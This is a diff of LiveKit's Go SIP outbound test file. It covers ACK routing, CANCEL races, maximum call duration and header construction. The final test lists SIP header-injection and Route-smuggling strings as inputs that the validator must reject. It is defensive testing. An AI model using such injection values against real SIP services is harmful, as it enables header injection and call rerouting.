cli.methods()) - }) - } - - t.Run("no answer within grace", func(t *testing.T) { - defer func(d time.Duration) { cancelResponseGrace = d }(cancelResponseGrace) - cancelResponseGrace = 10 * time.Millisecond - tx := &testSIPClientTransaction{log: logger.NewTestLogger(t), responses: make(chan *sip.Response), done: make(chan struct{})} - cli := &recordingSIPClient{} - watchCancelledInvite(logger.NewTestLogger(t), cli, nil, newInvite(), tx) - require.Empty(t, cli.methods()) - }) -} - -func TestOutboundMaxCallDuration(t *testing.T) { - const maxCallDuration = time.Second - const waitSlack = time.Second - - type testCase struct { - name string - waitUntilAnswered bool - } - type sessionEnd struct { - reason string - info *livekit.SIPCallInfo - } - - testCases := []testCase{ - { - name: "dial_async", - waitUntilAnswered: false, - }, - { - name: "dial_sync", - waitUntilAnswered: true, - }, - } - - for _, testCase := range testCases { - t.Run(testCase.name, func(t *testing.T) { - ended := make(chan sessionEnd, 1) - - clientCfg := TestSIPConfig{Handler: &TestHandler{ - OnSessionEndFunc: func(_ context.Context, _ *CallIdentifier, state *CallState, reason string) { - ended <- sessionEnd{reason: reason, info: state.Info()} - }, - }} - - req := MinimalCreateSIPParticipantRequest() - req.WaitUntilAnswered = testCase.waitUntilAnswered - req.MaxCallDuration = durationpb.New(maxCallDuration) - h, _, _ := waitOutboundINVITEAndACK(t, clientCfg, req, - func(tr *transactionRequest, resp *sip.Response) {}) - require.NotNil(t, h) - - answerBYE(t, h, maxCallDuration+waitSlack, req.SipCallId) - - select { - case end := <-ended: - require.Equal(t, "hangup", end.reason) - require.Equal(t, livekit.DisconnectReason_CLIENT_INITIATED, end.info.DisconnectReason) - case <-time.After(maxCallDuration + waitSlack): - require.Fail(t, "expected call to have already ended") - } - }) - } - -} - -func TestBuildOutboundHeaders(t *testing.T) { - newReq := func() *rpc.InternalCreateSIPParticipantRequest { - return &rpc.InternalCreateSIPParticipantRequest{} - } - check := func(t testing.TB, req *rpc.InternalCreateSIPParticipantRequest, defaultHost string, expURI, expFrom, expTo, expErr string) { - if defaultHost == "" { - defaultHost = "sip.default.test" - } - uri, from, to, err := buildOutboundHeaders(req, defaultHost) - if expErr != "" { - require.Error(t, err) - require.Equal(t, expErr, err.Error()) - return - } - require.NoError(t, err) - require.Equal(t, expURI, uri.String()) - require.Equal(t, expFrom, from.String()) - require.Equal(t, expTo, to.String()) - } - expectErr := func(t testing.TB, req *rpc.InternalCreateSIPParticipantRequest, expErr string) { - check(t, req, "", "", "", "", expErr) - } - expect := func(t testing.TB, req *rpc.InternalCreateSIPParticipantRequest, expURI, expFrom, expTo string) { - check(t, req, "", expURI, expFrom, expTo, "") - } - uriVals := func(u *livekit.SIPUri) *livekit.SIPRequestDest { - return &livekit.SIPRequestDest{ - Uri: &livekit.SIPRequestDest_Values{ - Values: u, - }, - } - } - uriRaw := func(raw string) *livekit.SIPRequestDest { - return &livekit.SIPRequestDest{ - Uri: &livekit.SIPRequestDest_Raw{ - Raw: raw, - }, - } - } - namedVals := func(name string, u *livekit.SIPUri) *livekit.SIPNamedDest { - return &livekit.SIPNamedDest{ - DisplayName: name, - Uri: &livekit.SIPNamedDest_Values{ - Values: u, - }, - } - } - namedRaw := func(name string, raw string) *livekit.SIPNamedDest { - return &livekit.SIPNamedDest{ - DisplayName: name, - Uri: &livekit.SIPNamedDest_Raw{ - Raw: raw, - }, - } - } - t.Run("empty", func(t *testing.T) { - req := newReq() - expectErr(t, req, "invalid request URI: number must be set") - }) - t.Run("legacy", func(t *testing.T) { - req := newReq() - req.Address = "sip.test.com" - req.Number = "111" - req.CallTo = "222" - expect(t, req, - `sip:222@sip.test.com`, - `From: "111" `, - `To: `, - ) - }) - t.Run("legacy name", func(t *testing.T) { - req := newReq() - req.Address = "sip.test.com" - req.Number = "111" - req.CallTo = "222" - req.DisplayName = new("LK") - expect(t, req, - `sip:222@sip.test.com`, - `From: "LK" `, - `To: `, - ) - }) - t.Run("legacy and uri", func(t *testing.T) { - req := newReq() - req.Address = "sip.test.com" - req.Number = "111" - req.CallTo = "222" - req.SipRequestUri = uriVals(&livekit.SIPUri{ - User: "333", - Host: "sip.another.com", - }) - expect(t, req, - `sip:333@sip.another.com`, - `From: "111" `, - `To: `, - ) - }) - t.Run("legacy and uri raw", func(t *testing.T) { - req := newReq() - req.Address = "sip.test.com" - req.Number = "111" - req.CallTo = "222" - req.SipRequestUri = uriRaw(`sip:333@sip.another.com`) - expect(t, req, - `sip:333@sip.another.com`, - `From: "111" `, - `To: `, - ) - }) - t.Run("legacy and From", func(t *testing.T) { - req := newReq() - req.Address = "sip.test.com" - req.Number = "111" - req.CallTo = "222" - req.SipFromHeader = namedVals("LK", &livekit.SIPUri{ - User: "333", - Host: "sip.another.com", - }) - expect(t, req, - `sip:222@sip.test.com`, - `From: "LK" `, - `To: `, - ) - }) - t.Run("legacy and To both", func(t *testing.T) { - req := newReq() - req.Address = "sip.test.com" - req.Number = "111" - req.CallTo = "222" - req.SipToHeader = namedVals("User", &livekit.SIPUri{ - User: "333", - Host: "sip.another.com", - }) - expectErr(t, req, "invalid To header: cannot use both CallTo and SipToHeader") - }) - t.Run("legacy and To addr", func(t *testing.T) { - // Allow both Address and To. Address could be used as a network-level destination. - req := newReq() - req.Address = "1.2.3.4" - req.Number = "111" - req.SipToHeader = namedVals("User", &livekit.SIPUri{ - User: "333", - Host: "sip.another.com", - }) - // However, CallTo is needed for request URI, but it cannot be set because it conflicts with To header. - expectErr(t, req, "invalid request URI: number must be set") - }) - t.Run("all new", func(t *testing.T) { - req := newReq() - req.SipRequestUri = uriVals(&livekit.SIPUri{ - User: "222", - Host: "sip.test.com", - }) - req.SipFromHeader = namedVals("LK", &livekit.SIPUri{ - User: "111", - Host: "example.com", // OSS can override the hostname - }) - req.SipToHeader = namedVals("User", &livekit.SIPUri{ - User: "333", - Host: "sip.another.com", - }) - expect(t, req, - `sip:222@sip.test.com`, - `From: "LK" `, // OSS can override the hostname - `To: "User" `, - ) - }) - t.Run("all raw brackets", func(t *testing.T) { - req := newReq() - req.SipRequestUri = uriRaw(`sip:222@sip.test.com`) - req.SipFromHeader = namedRaw("LK", ``) - req.SipToHeader = namedRaw("User", ``) - expect(t, req, - `sip:222@sip.test.com`, - `From: "LK" `, - `To: "User" `, - ) - }) - t.Run("all raw no brackets", func(t *testing.T) { - req := newReq() - req.SipRequestUri = uriRaw(`sip:222@sip.test.com`) - req.SipFromHeader = namedRaw("LK", `sip:111@sip.livekit.test`) - req.SipToHeader = namedRaw("User", `sip:333@sip.another.com`) - expect(t, req, - `sip:222@sip.test.com`, - `From: "LK" `, - `To: "User" `, - ) - }) - t.Run("raw param override", func(t *testing.T) { - req := newReq() - req.SipRequestUri = uriRaw(`sip:222@sip.test.com`) - req.SipFromHeader = namedRaw("LK", `;tag=AAA`) - req.SipToHeader = namedRaw("User", `;tag=BBB`) - expectErr(t, req, "invalid To header: invalid request URI") - }) - t.Run("all raw transport", func(t *testing.T) { - req := newReq() - req.SipRequestUri = uriRaw(`sip:222@sip.test.com;transport=tcp`) - req.SipFromHeader = namedRaw("LK", `sip:111@sip.livekit.test;transport=tcp`) - req.SipToHeader = namedRaw("User", `sip:333@sip.another.com;transport=tcp`) - expect(t, req, - `sip:222@sip.test.com;transport=tcp`, - `From: "LK" `, - `To: "User" `, - ) - }) - t.Run("all raw req transport", func(t *testing.T) { - req := newReq() - req.Transport = livekit.SIPTransport_SIP_TRANSPORT_TLS - req.SipRequestUri = uriRaw(`sip:222@sip.test.com;transport=tcp`) - req.SipFromHeader = namedRaw("LK", `sip:111@example.com;transport=tcp`) - req.SipToHeader = namedRaw("User", `sip:333@sip.another.com;transport=tcp`) - expect(t, req, - `sip:222@sip.test.com;transport=tls`, - `From: "LK" `, - `To: "User" `, - ) - }) - t.Run("all new req transport", func(t *testing.T) { - req := newReq() - req.Transport = livekit.SIPTransport_SIP_TRANSPORT_TLS - req.SipRequestUri = uriVals(&livekit.SIPUri{ - User: "222", - Host: "sip.test.com", - }) - req.SipFromHeader = namedVals("LK", &livekit.SIPUri{ - User: "111", - Host: "example.com", - }) - req.SipToHeader = namedVals("User", &livekit.SIPUri{ - User: "333", - Host: "sip.another.com", - }) - expect(t, req, - `sip:222@sip.test.com;transport=tls`, - `From: "LK" `, - `To: "User" `, - ) - }) - t.Run("to user override", func(t *testing.T) { - req := newReq() - req.Address = "sip.test.com" - req.Number = "111" - req.CallTo = "222" - req.Transport = livekit.SIPTransport_SIP_TRANSPORT_TLS - req.ToUserOverride = "333" - expect(t, req, - `sip:222@sip.test.com;transport=tls`, - `From: "111" `, - `To: `, - ) - }) - t.Run("to user override with request uri override", func(t *testing.T) { - req := newReq() - req.Number = "111" - req.CallTo = "222" - req.SipRequestUri = uriVals(&livekit.SIPUri{ - User: "999", - Host: "test12.test34.com", - }) - req.Address = "sip.trunk.com" - req.ToUserOverride = "333" - // The To is still trunk-derived; only its user is replaced. - expect(t, req, - `sip:999@test12.test34.com`, - `From: "111" `, - `To: `, - ) - }) - t.Run("to user override rejects uri and injection", func(t *testing.T) { - for _, bad := range []string{ - "333@sip.other.com", // full user@host - "333;tag=x", // param terminator - "<333>", // angle brackets - "333\r\nEvil-Hdr: y", // header injection - "3 33", // space - "333?Route=sip:evil.example", // '?' opens URI headers - "333:secret", // ':' makes the rest a password - "333&x=1", - "333/foo", - "333,x", - `333"x`, - } { - req := newReq() - req.Address = "sip.test.com" - req.Number = "111" - req.CallTo = "222" - req.ToUserOverride = bad - expectErr(t, req, "invalid To header: to user override should be a phone number or SIP user, not a full SIP URI") - } - }) -} +// Copyright 2023 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "context" + "fmt" + "testing" + "time" + + "github.com/stretchr/testify/require" + "google.golang.org/protobuf/types/known/durationpb" + + "github.com/livekit/protocol/livekit" + "github.com/livekit/protocol/logger" + "github.com/livekit/protocol/rpc" + "github.com/livekit/sipgo" + "github.com/livekit/sipgo/sip" +) + +// recordingSIPClient is a SIPClient that records the requests written to it. +type recordingSIPClient struct { + reqs []*sip.Request +} + +func (c *recordingSIPClient) TransactionRequest(req *sip.Request, _ ...sipgo.ClientRequestOption) (sip.ClientTransaction, error) { + return nil, nil +} + +func (c *recordingSIPClient) WriteRequest(req *sip.Request, _ ...sipgo.ClientRequestOption) error { + c.reqs = append(c.reqs, req) + return nil +} + +func (c *recordingSIPClient) Close() error { return nil } + +func (c *recordingSIPClient) methods() []sip.RequestMethod { + var m []sip.RequestMethod + for _, r := range c.reqs { + m = append(m, r.Method) + } + return m +} + +func TestOutboundRouteHeaderWithRecordRoute(t *testing.T) { + // Make sure the ACK doesn't carry over initial Route header. + // Steps: + // 1. Create a SIP participant with an initial Route header. + // 2. Make sure the Route header is properly populates in INVITE. + // 3. Fake a 200 response with Record Route headers. + // 4. Make sure the ACK doesn't carry over initial Route header.. + + // Plumbing + initialRouteURI := sip.Uri{Host: "initial-header.com", UriParams: sip.HeaderParams{{"lr", ""}}} + addedRouteURI := sip.Uri{Host: "added-header.com", UriParams: sip.HeaderParams{{"lr", ""}}} + initialRouteHeader := sip.RouteHeader{Address: initialRouteURI} + addedRouteHeader := sip.RouteHeader{Address: addedRouteURI} + h := NewTestSIP(t, TestSIPConfig{}) + req := MinimalCreateSIPParticipantRequest() + req.Headers = map[string]string{ + "Route": initialRouteHeader.Value(), + } + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + go func() { // Allow test to continue + _, err := h.Client.CreateSIPParticipant(ctx, req) + if err != nil && ctx.Err() == nil { + // Only log error if context wasn't cancelled + t.Logf("CreateSIPParticipant error: %v", err) + } + }() + + t.Log("Waiting for INVITE to be sent") + tr := h.WaitTransaction(t, time.Second, req.SipCallId, "") + + t.Log("Received INVITE, validating") + + require.NotNil(t, tr) + require.NotNil(t, tr.req) + require.NotNil(t, tr.transaction) + require.Equal(t, sip.INVITE, tr.req.Method) + routeHeaders := tr.req.GetHeaders("Route") + require.Equal(t, 1, len(routeHeaders)) + require.Equal(t, initialRouteHeader.Value(), routeHeaders[0].Value()) + + t.Log("INVITE okay, sending fake response") + + response := sip.NewSDPResponseFromRequest(tr.req, []byte(testMinimalSDP)) + require.NotNil(t, response, "NewSDPResponseFromRequest returned nil") + response.RemoveHeader("Record-Route") + rr1 := sip.RecordRouteHeader{Address: addedRouteURI} + rr2 := sip.RecordRouteHeader{Address: initialRouteURI} + response.AppendHeader(&rr1) + response.AppendHeader(&rr2) + tr.transaction.SendResponse(response) + + t.Log("Wait for ACK to be sent") + ackReq := h.WaitRequest(t, time.Second, req.SipCallId, "") + + t.Log("Received ACK, validating") + + require.NotNil(t, ackReq) + require.NotNil(t, ackReq.req) + require.Equal(t, sip.ACK, ackReq.req.Method) + require.Equal(t, tr.req.CSeq().SeqNo, ackReq.req.CSeq().SeqNo) + require.Equal(t, tr.req.CallID(), ackReq.req.CallID()) + ackRouteHeaders := ackReq.req.GetHeaders("Route") + require.Equal(t, 2, len(ackRouteHeaders)) // We expect this to fail prior to fixing our bug! + require.Equal(t, initialRouteHeader.Value(), ackRouteHeaders[0].Value()) + require.Equal(t, addedRouteHeader.Value(), ackRouteHeaders[1].Value()) + + cancel() +} + +const ( + // Simulates sipgo caching a DNS-resolved transport target on the INVITE. + testInviteCachedDestination = "10.0.0.1:5060" + testInviteTargetHost = "sip.example.com" +) + +// waitOutboundINVITEAndACK drives CreateSIPParticipant until an INVITE is sent, fakes a 200 OK, +// and returns the captured ACK. mutate is called after the INVITE is received and before the +// 200 OK is delivered to the transaction. +func waitOutboundINVITEAndACK( + t *testing.T, + clientCfg TestSIPConfig, + participantReq *rpc.InternalCreateSIPParticipantRequest, + mutate func(tr *transactionRequest, resp *sip.Response), +) (*testSIPHarness, *transactionRequest, *sipRequest) { + + h := NewTestSIP(t, clientCfg) + ctx, cancel := context.WithCancel(context.Background()) + t.Cleanup(cancel) + + go func() { + _, err := h.Client.CreateSIPParticipant(ctx, participantReq) + if err != nil && ctx.Err() == nil { + t.Logf("CreateSIPParticipant error: %v", err) + t.Fail() + } + }() + + tr := h.WaitTransaction(t, time.Second, participantReq.SipCallId, "") + require.Equal(t, sip.INVITE, tr.req.Method) + + resp := sip.NewSDPResponseFromRequest(tr.req, []byte(testMinimalSDP)) + require.NotNil(t, resp) + mutate(tr, resp) + require.NoError(t, tr.transaction.SendResponse(resp)) + + ackReq := h.WaitRequest(t, time.Second, participantReq.SipCallId, "") + require.Equal(t, sip.ACK, ackReq.req.Method) + return h, tr, ackReq +} + +// answerBYE waits for the call to send a BYE and responds 200 OK. +// If we don't explicitly answer the BYE, then a test might hang, as sipOutbound +// expects a response before closing the call. +func answerBYE(t *testing.T, h *testSIPHarness, timeout time.Duration, callID string) { + t.Helper() + + byeTx := h.WaitTransaction(t, timeout, callID, "") + require.Equal(t, sip.BYE, byeTx.req.Method) + + resp := sip.NewResponseFromRequest(byeTx.req, 200, "OK", nil) + err := byeTx.transaction.SendResponse(resp) + require.NoError(t, err) +} + +func TestOutboundACKDestinationAfterInviteResponse(t *testing.T) { + t.Run("changed contact flushes stale cached destination", func(t *testing.T) { + // Without the fix, NewAckRequest copies the INVITE's cached DNS destination + // (10.0.0.1:5060) even though the 200 OK Contact points elsewhere. + const ( + contactHost = "10.0.0.99" + contactPort = 5080 + ) + contactURI := sip.Uri{Host: contactHost, Port: contactPort} + + _, _, ackReq := waitOutboundINVITEAndACK(t, TestSIPConfig{}, MinimalCreateSIPParticipantRequest(), func(tr *transactionRequest, resp *sip.Response) { + require.Equal(t, testInviteTargetHost, tr.req.Recipient.Host) + tr.req.SetDestination(testInviteCachedDestination) + resp.AppendHeader(&sip.ContactHeader{Address: contactURI}) + }) + require.NotNil(t, ackReq) + + require.Equal(t, contactHost, ackReq.req.Recipient.Host) + require.Equal(t, contactPort, ackReq.req.Recipient.Port) + require.Equal(t, fmt.Sprintf("%s:%d", contactHost, contactPort), ackReq.req.Destination()) + require.NotEqual(t, testInviteCachedDestination, ackReq.req.Destination()) + }) + + t.Run("unchanged contact keeps cached destination", func(t *testing.T) { + contactURI := sip.Uri{Host: testInviteTargetHost, Port: 5060} + + _, _, ackReq := waitOutboundINVITEAndACK(t, TestSIPConfig{}, MinimalCreateSIPParticipantRequest(), func(tr *transactionRequest, resp *sip.Response) { + tr.req.SetDestination(testInviteCachedDestination) + resp.AppendHeader(&sip.ContactHeader{Address: contactURI}) + }) + require.NotNil(t, ackReq) + + require.Equal(t, testInviteTargetHost, ackReq.req.Recipient.Host) + require.Equal(t, testInviteCachedDestination, ackReq.req.Destination()) + }) + + t.Run("record route rebuild flushes stale cached destination", func(t *testing.T) { + // Route set changes must invalidate the cached destination even when Contact + // matches the original INVITE target. + proxyURI := sip.Uri{Host: "proxy.example.com", Port: 5060, UriParams: sip.HeaderParams{{"lr", ""}}} + contactURI := sip.Uri{Host: testInviteTargetHost, Port: 5060} + + _, _, ackReq := waitOutboundINVITEAndACK(t, TestSIPConfig{}, MinimalCreateSIPParticipantRequest(), func(tr *transactionRequest, resp *sip.Response) { + tr.req.SetDestination(testInviteCachedDestination) + resp.AppendHeader(&sip.ContactHeader{Address: contactURI}) + resp.AppendHeader(&sip.RecordRouteHeader{Address: proxyURI}) + }) + require.NotNil(t, ackReq) + + require.Equal(t, testInviteTargetHost, ackReq.req.Recipient.Host) + require.Equal(t, "proxy.example.com:5060", ackReq.req.Destination()) + require.NotEqual(t, testInviteCachedDestination, ackReq.req.Destination()) + }) +} + +// sipResponse returns immediately on a cancelled context, sending a CANCEL. +func TestSIPResponseCancelReturnsImmediately(t *testing.T) { + tx := &testSIPClientTransaction{ + log: logger.NewTestLogger(t), + responses: make(chan *sip.Response), + cancels: make(chan struct{}, 1), + done: make(chan struct{}), + err: make(chan error, 1), + } + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + res, err := sipResponse(ctx, tx, nil, nil) + require.Error(t, err) + require.Nil(t, res) + require.Len(t, tx.cancels, 1, "CANCEL should be sent") +} + +// watchCancelledInvite ACKs and BYEs a 2xx that races in after a CANCEL, and +// stays quiet otherwise. +func TestWatchCancelledInvite(t *testing.T) { + newInvite := func() *sip.Request { + req := sip.NewRequest(sip.INVITE, sip.Uri{User: "callee", Host: "sip.example.com"}) + from := &sip.FromHeader{Address: sip.Uri{User: "caller", Host: "lk"}, Params: sip.NewParams()} + from.Params.Add("tag", "caller-tag") + req.AppendHeader(from) + req.AppendHeader(&sip.ToHeader{Address: sip.Uri{User: "callee", Host: "sip.example.com"}, Params: sip.NewParams()}) + cid := sip.CallIDHeader("call-123") + req.AppendHeader(&cid) + req.AppendHeader(&sip.CSeqHeader{MethodName: sip.INVITE, SeqNo: 1}) + via := &sip.ViaHeader{ProtocolName: "SIP", ProtocolVersion: "2.0", Transport: "UDP", Host: "lk", Port: 5060, Params: sip.NewParams()} + via.Params.Add("branch", "z9hG4bK.test") + req.AppendHeader(via) + return req + } + ok := sip.NewSDPResponseFromRequest(newInvite(), []byte(testMinimalSDP)) + ackBye := []sip.RequestMethod{sip.ACK, sip.BYE} + + for _, tt := range []struct { + name string + resps []*sip.Response + want []sip.RequestMethod + }{ + {"2xx answered", []*sip.Response{ok}, ackBye}, + {"provisional then 2xx", []*sip.Response{sip.NewResponse(sip.StatusRinging, "Ringing"), ok}, ackBye}, + {"non-2xx final", []*sip.Response{sip.NewResponse(sip.StatusRequestTerminated, "Terminated")}, nil}, + } { + t.Run(tt.name, func(t *testing.T) { + tx := &testSIPClientTransaction{log: logger.NewTestLogger(t), responses: make(chan *sip.Response, len(tt.resps)), done: make(chan struct{})} + for _, r := range tt.resps { + tx.responses <- r + } + cli := &recordingSIPClient{} + watchCancelledInvite(logger.NewTestLogger(t), cli, nil, newInvite(), tx) + require.Equal(t, tt.want, cli.methods()) + }) + } + + t.Run("no answer within grace", func(t *testing.T) { + defer func(d time.Duration) { cancelResponseGrace = d }(cancelResponseGrace) + cancelResponseGrace = 10 * time.Millisecond + tx := &testSIPClientTransaction{log: logger.NewTestLogger(t), responses: make(chan *sip.Response), done: make(chan struct{})} + cli := &recordingSIPClient{} + watchCancelledInvite(logger.NewTestLogger(t), cli, nil, newInvite(), tx) + require.Empty(t, cli.methods()) + }) +} + +func TestOutboundMaxCallDuration(t *testing.T) { + const maxCallDuration = time.Second + const waitSlack = time.Second + + type testCase struct { + name string + waitUntilAnswered bool + } + type sessionEnd struct { + reason string + info *livekit.SIPCallInfo + } + + testCases := []testCase{ + { + name: "dial_async", + waitUntilAnswered: false, + }, + { + name: "dial_sync", + waitUntilAnswered: true, + }, + } + + for _, testCase := range testCases { + t.Run(testCase.name, func(t *testing.T) { + ended := make(chan sessionEnd, 1) + + clientCfg := TestSIPConfig{Handler: &TestHandler{ + OnSessionEndFunc: func(_ context.Context, _ *CallIdentifier, state *CallState, reason string) { + ended <- sessionEnd{reason: reason, info: state.Info()} + }, + }} + + req := MinimalCreateSIPParticipantRequest() + req.WaitUntilAnswered = testCase.waitUntilAnswered + req.MaxCallDuration = durationpb.New(maxCallDuration) + h, _, _ := waitOutboundINVITEAndACK(t, clientCfg, req, + func(tr *transactionRequest, resp *sip.Response) {}) + require.NotNil(t, h) + + answerBYE(t, h, maxCallDuration+waitSlack, req.SipCallId) + + select { + case end := <-ended: + require.Equal(t, "hangup", end.reason) + require.Equal(t, livekit.DisconnectReason_CLIENT_INITIATED, end.info.DisconnectReason) + case <-time.After(maxCallDuration + waitSlack): + require.Fail(t, "expected call to have already ended") + } + }) + } + +} + +func TestBuildOutboundHeaders(t *testing.T) { + newReq := func() *rpc.InternalCreateSIPParticipantRequest { + return &rpc.InternalCreateSIPParticipantRequest{} + } + check := func(t testing.TB, req *rpc.InternalCreateSIPParticipantRequest, defaultHost string, expURI, expFrom, expTo, expErr string) { + if defaultHost == "" { + defaultHost = "sip.default.test" + } + uri, from, to, err := buildOutboundHeaders(req, defaultHost) + if expErr != "" { + require.Error(t, err) + require.Equal(t, expErr, err.Error()) + return + } + require.NoError(t, err) + require.Equal(t, expURI, uri.String()) + require.Equal(t, expFrom, from.String()) + require.Equal(t, expTo, to.String()) + } + expectErr := func(t testing.TB, req *rpc.InternalCreateSIPParticipantRequest, expErr string) { + check(t, req, "", "", "", "", expErr) + } + expect := func(t testing.TB, req *rpc.InternalCreateSIPParticipantRequest, expURI, expFrom, expTo string) { + check(t, req, "", expURI, expFrom, expTo, "") + } + uriVals := func(u *livekit.SIPUri) *livekit.SIPRequestDest { + return &livekit.SIPRequestDest{ + Uri: &livekit.SIPRequestDest_Values{ + Values: u, + }, + } + } + uriRaw := func(raw string) *livekit.SIPRequestDest { + return &livekit.SIPRequestDest{ + Uri: &livekit.SIPRequestDest_Raw{ + Raw: raw, + }, + } + } + namedVals := func(name string, u *livekit.SIPUri) *livekit.SIPNamedDest { + return &livekit.SIPNamedDest{ + DisplayName: name, + Uri: &livekit.SIPNamedDest_Values{ + Values: u, + }, + } + } + namedRaw := func(name string, raw string) *livekit.SIPNamedDest { + return &livekit.SIPNamedDest{ + DisplayName: name, + Uri: &livekit.SIPNamedDest_Raw{ + Raw: raw, + }, + } + } + t.Run("empty", func(t *testing.T) { + req := newReq() + expectErr(t, req, "invalid request URI: number must be set") + }) + t.Run("legacy", func(t *testing.T) { + req := newReq() + req.Address = "sip.test.com" + req.Number = "111" + req.CallTo = "222" + expect(t, req, + `sip:222@sip.test.com`, + `From: "111" `, + `To: `, + ) + }) + t.Run("legacy name", func(t *testing.T) { + req := newReq() + req.Address = "sip.test.com" + req.Number = "111" + req.CallTo = "222" + req.DisplayName = new("LK") + expect(t, req, + `sip:222@sip.test.com`, + `From: "LK" `, + `To: `, + ) + }) + t.Run("legacy and uri", func(t *testing.T) { + req := newReq() + req.Address = "sip.test.com" + req.Number = "111" + req.CallTo = "222" + req.SipRequestUri = uriVals(&livekit.SIPUri{ + User: "333", + Host: "sip.another.com", + }) + expect(t, req, + `sip:333@sip.another.com`, + `From: "111" `, + `To: `, + ) + }) + t.Run("legacy and uri raw", func(t *testing.T) { + req := newReq() + req.Address = "sip.test.com" + req.Number = "111" + req.CallTo = "222" + req.SipRequestUri = uriRaw(`sip:333@sip.another.com`) + expect(t, req, + `sip:333@sip.another.com`, + `From: "111" `, + `To: `, + ) + }) + t.Run("legacy and From", func(t *testing.T) { + req := newReq() + req.Address = "sip.test.com" + req.Number = "111" + req.CallTo = "222" + req.SipFromHeader = namedVals("LK", &livekit.SIPUri{ + User: "333", + Host: "sip.another.com", + }) + expect(t, req, + `sip:222@sip.test.com`, + `From: "LK" `, + `To: `, + ) + }) + t.Run("legacy and To both", func(t *testing.T) { + req := newReq() + req.Address = "sip.test.com" + req.Number = "111" + req.CallTo = "222" + req.SipToHeader = namedVals("User", &livekit.SIPUri{ + User: "333", + Host: "sip.another.com", + }) + expectErr(t, req, "invalid To header: cannot use both CallTo and SipToHeader") + }) + t.Run("legacy and To addr", func(t *testing.T) { + // Allow both Address and To. Address could be used as a network-level destination. + req := newReq() + req.Address = "1.2.3.4" + req.Number = "111" + req.SipToHeader = namedVals("User", &livekit.SIPUri{ + User: "333", + Host: "sip.another.com", + }) + // However, CallTo is needed for request URI, but it cannot be set because it conflicts with To header. + expectErr(t, req, "invalid request URI: number must be set") + }) + t.Run("all new", func(t *testing.T) { + req := newReq() + req.SipRequestUri = uriVals(&livekit.SIPUri{ + User: "222", + Host: "sip.test.com", + }) + req.SipFromHeader = namedVals("LK", &livekit.SIPUri{ + User: "111", + Host: "example.com", // OSS can override the hostname + }) + req.SipToHeader = namedVals("User", &livekit.SIPUri{ + User: "333", + Host: "sip.another.com", + }) + expect(t, req, + `sip:222@sip.test.com`, + `From: "LK" `, // OSS can override the hostname + `To: "User" `, + ) + }) + t.Run("all raw brackets", func(t *testing.T) { + req := newReq() + req.SipRequestUri = uriRaw(`sip:222@sip.test.com`) + req.SipFromHeader = namedRaw("LK", ``) + req.SipToHeader = namedRaw("User", ``) + expect(t, req, + `sip:222@sip.test.com`, + `From: "LK" `, + `To: "User" `, + ) + }) + t.Run("all raw no brackets", func(t *testing.T) { + req := newReq() + req.SipRequestUri = uriRaw(`sip:222@sip.test.com`) + req.SipFromHeader = namedRaw("LK", `sip:111@sip.livekit.test`) + req.SipToHeader = namedRaw("User", `sip:333@sip.another.com`) + expect(t, req, + `sip:222@sip.test.com`, + `From: "LK" `, + `To: "User" `, + ) + }) + t.Run("raw param override", func(t *testing.T) { + req := newReq() + req.SipRequestUri = uriRaw(`sip:222@sip.test.com`) + req.SipFromHeader = namedRaw("LK", `;tag=AAA`) + req.SipToHeader = namedRaw("User", `;tag=BBB`) + expectErr(t, req, "invalid To header: invalid request URI") + }) + t.Run("all raw transport", func(t *testing.T) { + req := newReq() + req.SipRequestUri = uriRaw(`sip:222@sip.test.com;transport=tcp`) + req.SipFromHeader = namedRaw("LK", `sip:111@sip.livekit.test;transport=tcp`) + req.SipToHeader = namedRaw("User", `sip:333@sip.another.com;transport=tcp`) + expect(t, req, + `sip:222@sip.test.com;transport=tcp`, + `From: "LK" `, + `To: "User" `, + ) + }) + t.Run("all raw req transport", func(t *testing.T) { + req := newReq() + req.Transport = livekit.SIPTransport_SIP_TRANSPORT_TLS + req.SipRequestUri = uriRaw(`sip:222@sip.test.com;transport=tcp`) + req.SipFromHeader = namedRaw("LK", `sip:111@example.com;transport=tcp`) + req.SipToHeader = namedRaw("User", `sip:333@sip.another.com;transport=tcp`) + expect(t, req, + `sip:222@sip.test.com;transport=tls`, + `From: "LK" `, + `To: "User" `, + ) + }) + t.Run("all new req transport", func(t *testing.T) { + req := newReq() + req.Transport = livekit.SIPTransport_SIP_TRANSPORT_TLS + req.SipRequestUri = uriVals(&livekit.SIPUri{ + User: "222", + Host: "sip.test.com", + }) + req.SipFromHeader = namedVals("LK", &livekit.SIPUri{ + User: "111", + Host: "example.com", + }) + req.SipToHeader = namedVals("User", &livekit.SIPUri{ + User: "333", + Host: "sip.another.com", + }) + expect(t, req, + `sip:222@sip.test.com;transport=tls`, + `From: "LK" `, + `To: "User" `, + ) + }) + t.Run("to user override", func(t *testing.T) { + req := newReq() + req.Address = "sip.test.com" + req.Number = "111" + req.CallTo = "222" + req.Transport = livekit.SIPTransport_SIP_TRANSPORT_TLS + req.ToUserOverride = "333" + expect(t, req, + `sip:222@sip.test.com;transport=tls`, + `From: "111" `, + `To: `, + ) + }) + t.Run("to user override with request uri override", func(t *testing.T) { + req := newReq() + req.Number = "111" + req.CallTo = "222" + req.SipRequestUri = uriVals(&livekit.SIPUri{ + User: "999", + Host: "test12.test34.com", + }) + req.Address = "sip.trunk.com" + req.ToUserOverride = "333" + // The To is still trunk-derived; only its user is replaced. + expect(t, req, + `sip:999@test12.test34.com`, + `From: "111" `, + `To: `, + ) + }) + t.Run("to user override rejects uri and injection", func(t *testing.T) { + for _, bad := range []string{ + "333@sip.other.com", // full user@host + "333;tag=x", // param terminator + "<333>", // angle brackets + "333\r\nEvil-Hdr: y", // header injection + "3 33", // space + "333?Route=sip:evil.example", // '?' opens URI headers + "333:secret", // ':' makes the rest a password + "333&x=1", + "333/foo", + "333,x", + `333"x`, + } { + req := newReq() + req.Address = "sip.test.com" + req.Number = "111" + req.CallTo = "222" + req.ToUserOverride = bad + expectErr(t, req, "invalid To header: to user override should be a phone number or SIP user, not a full SIP URI") + } + }) +} diff --git a/pkg/sip/participant.go b/pkg/sip/participant.go index 